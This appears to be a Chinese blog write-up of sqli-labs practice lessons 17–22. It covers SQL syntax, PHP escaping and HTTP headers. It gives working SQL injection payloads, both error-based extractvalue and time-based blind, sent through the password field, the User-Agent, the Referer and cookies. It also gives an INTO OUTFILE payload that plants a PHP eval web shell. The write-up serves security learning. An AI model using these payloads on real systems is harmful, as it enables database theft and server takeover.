sqlilabs17-22

0x01 增删改基本语法

插入操作

本质含义,将数据以SQL的形式存储到指定的数据表(字段)
Insert into 表名 [(字段列表)] values;

删除

删数据:

  • delete from 表名

  • delete from 表名 where id=16

删结构:

  • 删数据库:drop database 数据库名;

  • 删除表:drop table表名;

  • 删除表中的列:alter table表名drop column列名;

修改

updata 表名 set 字段名 = 新值 [where 条件] ,非数字加引号;

0x02 less-17进入addslashes函数世界

开始正题
uname=admin
passwd=1’ 可得如图报错
在passwd处有单引号,构造payload: 1'#

Xpath报错注入:uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit,其他盲注也是OK就不啰嗦了。

源码对unname字符进行转义处理无法使用uname注入

0x03 addslashes函数学习

  1. addslashes():为数据库查询语句需要的某些字符添加反斜线转义。单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。强烈建议使用 DBMS 指定的转义函数 (比如 MySQL 是mysqli_real_escape_string(),PostgreSQL 是 pg_escape_string()

  2. 使用get_magic_quotes_gpc()检验PHP是否开启magic_quotes_gpc,即是否执行addslashes().
    mysqli_real_escape_string()受影响的字符为:\x00, \n, \r, , ‘, “ 和 \x1a.

  3. ctype_digit($value):判断value是否为纯数字

  4. stripslashes():反引用一个引用字符串。如果 magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。

0x04 less-18拐进HTTP头部世界

本节开始学习header injection
查看源代码发现传入的uname 和 passwd特殊字符都被addslashes函数转义。

HTTP头部学习:
1、Aceept:告诉WEB服务器自己接收什么介质类型,/表示任何类型,type/*表示该类型下的所有自类型
2、Accept-Charset:浏览器申明自己接收的字符集
Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language:浏览器申明自己接收的语言。big5,gb2312,gbk
3、Connetion:浏览器与服务器之间连接的类型
4、Cookie:当前页面设置的cookie
5、Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host: rss.sina.com.cn
6、Referer:发出请求的页面的URI。
7、User-Agent:浏览器的用户代理字符串
8、Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)

源代码学习:

$_SERVER[ ]:返回HTTP头部信息。
参数:

  • HTTP_USER_AGENT:返回HTTP头部的USER_AGENT
  • REMOTE_ADDR:返回http头部IP地址

判断uname和passwd是否匹配

匹配成功之后插入到数据库(符号` 在数据库合法,表示字符串的含义)

正确信息回显your user agent is :.. 可知采用header injection

payload构造:'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1' = '1 /
'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
*:红色的首末两个个引号起到闭合引号的作用,使得extractvalue语句不会是字符串形式。

爆数据库'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1
bool盲注:'or if(ascii(substr((select database()),1,1))=114,1,sleep(5)) and '1'='1(and不管用)

0x05 less-19

正确登陆回显Your Referer is: http://127.0.0.1/sqlilabs/Less-19
可以判断为header injection -Referer 为注入点
原始语句:Referer: http://127.0.0.1/sqlilabs/Less-19/

payload语句:传入字符串所以需要对引号进行闭合。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1


其他注入点就不一一赘述了。

0x05 less-20 cookie小海浪

cookie:GET请求所携带的用户信息,结构为–键,值,时间
网页正确回显依赖数据库对cookie的验证。构造cookie dump

  • payload:‘and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

源码学习与分析:

输入正确的账号密码,执行setcookie(‘uname’,$cookee,time()+3600)函数,跳转界面(刷新)

重新打开网页,浏览器从硬盘上取出cookie$_COOKIE['uname']。页面显示cookie状态信息,执行的条件是submit事件不被触发。
—>将$cookee传入到数据库中判断语法是否错误,cookee值是否与数据库字段匹配(这一步操作在现实中应该是在一定程度上保证cookie值不被恶意构造)

submit事件触发则删除cookie

0x06 less-21 试试一句话

正常登陆之后

使用burpsuite抓包,传入的uname经过base64编码

爆数据库目录:payload:’)and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and (‘1’)=(‘1

传入一句话
*:union 查询条件前列数相同且前一句sql语句能执行,不同与报错盲注
payload:admin') union select 1,'<?php @eval($_POST["mima"])?>',3 into outfile "F:\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-21\\1.php"#

0x07 less-22 e….

payload: admin1"and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e))#
其他就和less-21相同就不一一赘述了


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!